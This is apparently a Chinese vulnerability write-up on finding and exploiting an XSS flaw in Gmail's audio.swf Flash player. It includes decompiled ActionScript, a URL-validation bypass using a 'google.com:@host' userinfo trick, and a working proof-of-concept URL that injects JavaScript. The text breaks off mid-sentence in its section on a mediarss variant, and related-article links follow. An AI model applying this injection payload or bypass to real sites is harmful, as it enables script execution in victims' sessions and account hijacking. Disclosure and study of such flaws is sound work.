一次SWF XSS挖掘和利用
[ 目錄 ]
[0x00] 背景
[0x01] 挖掘漏洞
[0x02] 優雅利用
[0x03] 從反射到rootkit
[0x04] 總結
[0x00] 背景
這篇遲到了近一年的paper是對 WooYun: Gmail某處XSS可導致賬號持久劫持 漏洞的詳細說明,趕在世界末日釋出,希望不會太晚.:)
既然標題已經提到了SWF XSS,那麼第一件事就是查詢mail.google.com域下的所有swf檔案.感謝萬能的Google,利用下面的dork,可以搜尋任意域的swf, "site:yourdomain.com filetype:swf",進行簡單的去重之後,我們得到了如下幾個swf檔案:
https://mail.google.com/mail/im/chatsound.swf
https://mail.google.com/mail/uploader/uploaderapi2.swf
https://mail.google.com/mail/html/audio.swf
https://mail.google.com/mail/im/sound.swf
https://mail.google.com/mail/im/media-api.swf
透過檔名以及直接開啟,對這些的swf的功能應該有了一個初步的判斷. chatsound.swf和sound.swf應該是播放聲音用的, uploaderapi2.swf是上傳檔案, audio.swf是播放音訊檔案, media-api.swf? 還是不知道幹嘛用的... 然後直接在Google裡搜尋這些swf的地址, 可以得到一些含有swf的地址, 比如"https://mail.google.com/mail/html/audio.swf?audioUrl= Example MP3 file", 透過這些swf後面跟的引數, 我們可以進一步推測出這個swf的功能, 此外在反編譯時搜尋這些引數, 可以快速地定位到整個swf的初始化的過程. 透過以上的過程, 我們發現, 該swf不僅僅接受audioUrl引數, 還接受videoUrl引數, 說明它還是一個影片播放器, 功能上的複雜化必然會對應用的安全性有所影響, 我們決定對此SWF檔案進行深入分析.
[0x01] 挖掘漏洞
下載反編譯後得到該swf所有的as檔案, 透過搜尋'ExternalInterface.call', 'getURL', 'navigateToURL', 'javascript:'等關鍵函式和字串, 可以快速地定位一些能夠執行javascript的程式碼段. 當搜尋'javascript:'時, 我們得到了如下有意思的程式碼:
==com.google.video.apps.VideoPlayback==
_loc1.onPlaybackComplete = function ()
{
if (this.playerMode_ == com.google.ui.media.MediaPlayer.PLAYER_MODE_NORMAL || this.playerMode_ == com.google.ui.media.MediaPlayer.PLAYER_MODE_MINI)
{
this.queueURL("javascript:FlashRequest(\'donePlaying\', \'\"" + this.mediaPlayer_.url + "\"\');");
} // end if
...
一個類似javascript偽協議的字串被代入了queueURL函式, 而且最為關鍵的是this.mediaPlayer_.url是被直接拼接到字串的, 並未加以對引號的轉義. 但說這是一個xss漏洞還為時過早, 因為我們不知道queueURL函式到底是做什麼的, 而且對於this.mediaPlayer_.url在賦值之前是否有進行過濾, 還是處於一個未知的狀態. 此外透過對函式名的判斷,onPlaybackComplete應該是一個在播放完畢之後的回撥函式.
我們搜尋到了函式queueURL被定義的地方, 程式碼如下:
==com.google.video.apps.VideoPlayback==
_loc1.queueURL = function (url)
{
if (this.urlQueue_ == undefined)
{
this.urlQueue_ = new Array();
} // end if
this.urlQueue_.push(url);
};
...
然後透過跟蹤"urlQueue_"變數, 發現如下程式碼:
==com.google.video.apps.VideoPlayback==
_loc1.checkForPageChanges = function ()
{
...
if (this.urlQueue_ != undefined)
{
var _loc2 = this.urlQueue_.shift();
if (_loc2 != undefined)
{
getURL(_loc2, "_self");
} // end if
}
...
繼續跟蹤"checkForPageChanges"函式:
==com.google.video.apps.VideoPlayback==
_loc1.initPlayerWithVars = function ()
{
...
_global.setInterval(this, "checkForPageChanges", 100);
...
搜尋"initPlayerWithVars"函式:
==com.google.video.apps.VideoPlayback==
_loc1.initializePlayer = function ()
{
...
if (this.mediaState_ != undefined && (this.mediaState_.videoUrl != undefined || this.mediaState_.audioUrl != undefined))
{
this.initPlayerWithVars();
} // end if
從函式名字initializePlayer推斷, 這個應該是一個初始化播放器的函式, 在swf開啟的時候應該會被執行. 透過搜尋的結果, 對整個過程進行反演:initializePlayer函式初始化播放器, 透過對(this.mediaState_ != undefined && (this.mediaState_.videoUrl != undefined || this.mediaState_.audioUrl != undefined))這一邏輯的判讀, 如果為true, 則執行initPlayerWithVars函式, 每隔100毫秒呼叫checkForPageChanges函式, checkForPageChanges函式會檢查urlQueue_是否為空陣列, 如果不為空, 則彈出陣列成員, 直接傳入getURL函式. 而onPlaybackComplete則是一回撥函式, 當播放完成後自動呼叫, 如果滿足邏輯(this.playerMode_ == com.google.ui.media.MediaPlayer.PLAYER_MODE_NORMAL || this.playerMode_ == com.google.ui.media.MediaPlayer.PLAYER_MODE_MINI), 會把this.mediaPlayer_.url引數壓入urlQueue_陣列.
透過以上跟蹤分析, 我想我們可以得到第一個疑問的答案了,this.mediaPlayer_.url引數最終會被傳入到getURL函式. 現在要來看mediaPlayer_.url引數是怎麼取到的.
搜尋mediaPlayer_.url:
==com.google.video.apps.VideoPlayback==
_loc1.initPlayerWithVars = function ()
{
this.videoStats_.endPlayback();
if (this.mediaState_.videoUrl != undefined)
{
this.mediaPlayer_.mediaType = com.google.ui.media.MediaPlayer.MEDIA_VIDEO;
this.setVideoUrl(this.mediaState_.videoUrl);
}
else if (this.mediaState_.audioUrl != undefined)
{
this.mediaPlayer_.mediaType = com.google.ui.media.MediaPlayer.MEDIA_AUDIO;
this.mediaPlayer_.url = this.mediaState_.audioUrl;
...
_loc1.setVideoUrl = function (url)
{
this.mediaPlayer_.url = url;
...
};
透過上述程式碼可以發現mediaPlayer_.url可以從兩個地方獲取, mediaState_.videoUrl和mediaState_.audioUrl. 現在再回過頭來看文章開頭的地方提到兩個引數, videoUrl和audioUrl, 我們推斷mediaState_.videoUrl和mediaState_.audioUrl引數是從url中傳入的. 為了驗證這一的想法, 我把audio.swf放置在本地伺服器上, 並自己寫了一個swf去讀取audio.swf中的mediaState_.videoUrl和mediaState_.audioUrl. 當我載入http://localhost/gmail/audio.swf?videoUrl=http://localhost/test.flv時, 發現讀取到的mediaState_.videoUrl為空.看來事情並沒有我們想象的那麼簡單.
我們繼續來跟程式碼. mediaState_應該是一個類的例項, 透過例項的名字, 我們猜測類名可能是mediaState, 搜尋mediaState, 果然存在這個類:com.google.video.apps.MediaState. 閱讀程式碼, 我們發現了讀取mediaState_.videoUrl值失敗的關鍵邏輯
==com.google.video.apps.MediaState==
_loc1.fromArgs = function (mainClip, playPageBase)
{
...
if (mainClip.videoUrl == undefined && mainClip.videourl != undefined)
{
mainClip.videoUrl = mainClip.videourl;
} // end if
...
if (com.google.webutil.url.Utils.isValidVideoUrl(mainClip.videoUrl))
{
this.videoUrl = mainClip.videoUrl;
}
if (com.google.webutil.url.Utils.isValidAbsoluteGoogleUrl(mainClip.audioUrl))
{
this.audioUrl = mainClip.audioUrl;
}
看來swf對從url傳入的值進行了檢查. 我們接著跟蹤com.google.webutil.url.Utils.isValidVideoUrl和com.google.webutil.url.Utils.isValidAbsoluteGoogleUrl這兩個函式.
==com.google.webutil.url.Utils==
_loc1.isValidVideoUrl = function (videoUrl)
{
if (com.google.webutil.url.Utils.isPrefix(videoUrl, "http://youtube.com/watch?v="))
{
return (true);
} // end if
var _loc3 = "http://vp";
if (!com.google.webutil.url.Utils.isPrefix(videoUrl, _loc3))
{
return (false);
} // end if
var _loc4 = videoUrl.indexOf(".", _loc3.length);
if (_loc4 != _loc3.length && _global.isNaN(_global.parseInt(videoUrl.slice(_loc3.length, _loc4))))
{
return (false);
} // end if
return (com.google.webutil.url.Utils.isPrefix(videoUrl.substr(_loc4), ".video.google.com/videodownload"));
};
_loc1.isValidAbsoluteGoogleUrl = function (url)
{
if (com.google.webutil.url.Utils.isValidAbsoluteUrl(url))
{
var _loc3 = "google.com";
var _loc4 = com.google.webutil.url.Utils.getProtocolAndHost(url);
var _loc5 = _loc4.substring(_loc4.length - _loc3.length);
return (_loc5 == _loc3);
} // end if
return (false);
};
現在回想一下我們利用成功的前提條件, 就是需要函式沒有在對mediaState_.videoUrl或mediaState_.audioUrl賦值時進行引號的轉義. 閱讀以上的程式碼, 我們發現驗證函式並沒有任何對引號進行轉義操作, 說明這個漏洞的確是存在的.:) 但是別高興地太早了, 在回過頭想一下觸發getURL的函式onPlaybackComplete, 沒錯, 是一個回撥函式, 需要影片流或者音訊流播放完畢, 因此, 我們必須要尋找一個確實存在的影片或者音訊檔案, 且能滿足以上對於url的檢查. 由於audio.swf檔案建立時間比較早, isValidVideoUrl函式中檢驗的幾個api均已經廢棄了, 因此我們轉向檢查較為寬鬆的isValidAbsoluteGoogleUrl的函式以尋求突破.
我們來看下com.google.webutil.url.Utils.getProtocolAndHost這個關鍵函式.
==com.google.webutil.url.Utils==
_loc1.getProtocolAndHost = function (url)
{
var _loc3 = com.google.webutil.url.Utils.getProtocolHostAndPort(url);
var _loc4 = _loc3.indexOf("://");
var _loc5 = _loc3.lastIndexOf(":");
if (_loc5 < 0 || _loc4 == _loc5)
{
return (_loc3);
}
else
{
return (_loc3.substring(0, _loc5));
} // end else if
};
...
_loc1.getProtocolHostAndPort = function (url)
{
var _loc3 = url.indexOf("://");
if (_loc3 == -1)
{
_loc3 = 0;
}
else
{
_loc3 = _loc3 + 3;
} // end else if
var _loc4 = com.google.webutil.url.Utils.indexOfOrMax(url, "/", _loc3);
var _loc5 = com.google.webutil.url.Utils.indexOfOrMax(url, "?", _loc3);
var _loc6 = Math.min(_loc4, _loc5);
return (url.substring(0, _loc6));
};
注意getProtocolAndHost函式中var loc5 = _loc3.lastIndexOf(":")這行程式碼, 我想程式設計師的本意是想利用這個":"獲取web應用的埠, 如localhost:8080之類的, 但是在uri中,還有一個地方是需要":"的, 就是在401登陸中, 作為使用者名稱和密碼的分割符, 而且這個":"出現的位置是在作為分割host和埠的":"之前. 利用這個特性,我們就可以很輕鬆地繞過isValidAbsoluteGoogleUrl的檢查了. 載入http://localhost/gmail/audio.swf?audioUrl=http://google.com:@localhost/t.mp3時, 成功地讀取到的mediaState.audioUrl的值,就是http://google.com:@localhost/t.mp3.
再加上其他引數,使得能滿足上述的一些if判斷,最後的poc如下:
https://mail.google.com/mail/html/audio.swf?playerMode=normal&autoplay=true&audioUrl=http://google.com:@localhost/gmail/t.mp3?%27%29%3Bfunction%20FlashRequest%28%29%7Balert%28document.domain%29%7D%2f%2f
URL解碼後如下
https://mail.google.com/mail/html/audio.swf?playerMode=normal&autoplay=true&audioUrl=http://google.com:@localhost/gmail/t.mp3?');function FlashRequest(){alert(document.domain)}//
我們拼接最後傳入getURL的偽協議字串
javascript:FlashRequest('donePlaying', 'http://google.com:@localhost/gmail/t.mp3?');function FlashRequest(){alert(document.domain)}//');
由於在承載swf的html頁面中FlashRequest未定義, 我們需要自己定義一個FlashRequest函式, 而且在js中, function語句是最先執行的, 所以不用擔心在執行FlashRequest('donePlaying', 'http://google.com:@localhost/gmail/t.mp3?')這句時FlashRequest還沒有定義. 當然, 你可以把alert(document.domain)轉換成任意你想要執行的js程式碼. 另外值得注意的一點就是, 由於getURL操作在mp3播放完畢後才觸發的, 因此我們把http://localhost/t.mp3剪下得足夠短, 只有0.5秒, 當你開啟swf之後, 不到一秒鐘, MP3已經載入並播放完畢, js得到了執行, 你很難察覺到其中的延遲.
[0x02] 優雅利用
對於一個完美主義者, 我們不得不承認, 上述提到的poc是醜陋的. 原因如下:
1. 我們的URL中含有大量的髒程式碼, 這僅僅是一個poc, 如果需要更進一步的操作, 我們還要新增大量字元到url.
2. 像"http://google.com:@localhost/t.mp3"這樣的URL只能被Firefox認可, Chrome和IE會廢棄這類的請求.
3. 如果我們需要真正地做一些dirty work, 而不僅僅是彈個document.domain的窗, 那麼我們可能需要進行一些的網路通訊, 比如載入js,獲取關鍵資料等, 而這些操作的代價是什麼, 沒錯, 就是時間. 我們的poc僅僅是播放一個0.5秒長的MP3檔案, 對於一個無聊的dead page, 人們的反應通常右上角的X. 換句話說, 我們爭取不到我們需要的時間.
那麼如何形成一個更加優雅的利用方式呢?
我在查詢fromArgs函式時, 發現以下的程式碼
==com.google.video.apps.VideoPlayback==
if (com.google.webutil.url.Utils.isValidAbsoluteUrl(this.clip_.videoUrl) || com.google.webutil.url.Utils.isValidAbsoluteUrl(this.clip_.audioUrl))
{
this.mediaState_ = new com.google.video.apps.MediaState();
this.mediaState_.fromArgs(this.clip_, this.vgcHostPort + com.google.video.apps.VideoPlayback.VGC_PLAYPAGE_PATH);
}
else if (com.google.webutil.url.Utils.isValidAbsoluteUrl(this.clip_.mediarss))
{
this.mediaRss_ = new com.google.xml.MediaRSS();
this.mediaRss_.init(this.clip_.mediarss);
}
我想大概有兩個辦法可以載入一段影片, 一個是直接賦值一個videoUrl, 正如前文提到的, 另一個就是透過制定一個mediarss, swf去解析這個rss, 播放其中指定的影片, 更美妙的是, 對於mediarss, 只判斷是是否是絕對地址(isValidAbsoluteUrl), 這使得載入我們直接伺服器上的mediarss檔案成為了可能.
讓我們忘記所有的程式碼吧, 對於這種xml檔案類的除錯, 我想以黑盒的方式更加方便一些. 再感謝萬能的Google, 我從網上找到了一份mediarss的樣本, 修改如下, 我們替換了
相關文章
- PostMessage xss學習和挖掘2021-05-03
- xss利用2020-07-18
- JSONP挖掘與高階利用2020-08-19JSON
- 程式碼審計中XSS挖掘一些體會2024-06-19
- Web安全系列(三):XSS 攻擊進階(挖掘漏洞)2019-03-03Web
- XSS和CSRF2019-05-06
- XSS 和 SQL 注入2020-12-16SQL
- 這一次,徹底理解XSS攻擊2020-12-31
- 記一次CVE實戰挖掘記錄2023-02-01
- 某知名系統漏洞挖掘與利用思路探索2022-09-19
- 利用oracle的日誌挖掘實現回滾2020-03-15Oracle
- 記一次北京某大學邏輯漏洞挖掘2024-04-28
- 記錄一次cnvd事件型證書漏洞挖掘2024-05-28事件
- 如何利用 KLEE 符號執行引擎挖掘軟體漏洞2021-05-09符號
- xss標籤和屬性爆破2022-02-11
- swf是什麼檔案格式 swf檔案要用什麼軟體開啟2022-04-03
- XSS Attacks - Exploiting XSS Filter2020-08-19Filter
- 資料解讀挖掘機租賃和二手挖掘機2019-05-21
- 利用CRM系統更大程度地挖掘大客戶價值2023-11-01
- web安全:什麼是 XSS 和 CSRF2019-05-30Web
- win10怎麼播放swf檔案_win10系統swf影片如何開啟2020-05-23Win10
- 記一次對某高校微信小程式的漏洞挖掘2024-04-15微信小程式
- 利用反射型XSS二次注入繞過CSP form-action限制2020-08-19反射ORM
- win10怎麼播放swf檔案_win10系統swf視訊如何開啟2020-05-23Win10
- 邏輯漏洞挖掘之XSS漏洞原理分析及實戰演練 | 京東物流技術團隊2023-09-27
- 如何在Android上播放swf檔案2018-09-18Android
- XSS和字符集的那些事兒2020-08-19
- Web安全攻防(一)XSS注入和CSRF2022-01-19Web
- CSRF, XSS, Sql注入原理和處理方案2018-12-02SQL
- cookie和XSS, CSRF的相親相愛2018-10-11Cookie
- 網站安全滲透測試服務之discuz漏洞挖掘與利用2019-07-16網站
- XSS姿勢——檔案上傳XSS2020-08-19
- XSS————1、XSS測試平臺搭建2018-05-13
- XSS漏洞2024-06-23
- XSS(Pikachu)2024-05-03
- XSS注入2021-09-19
- Short XSS2020-08-19
- xss csrf2019-01-13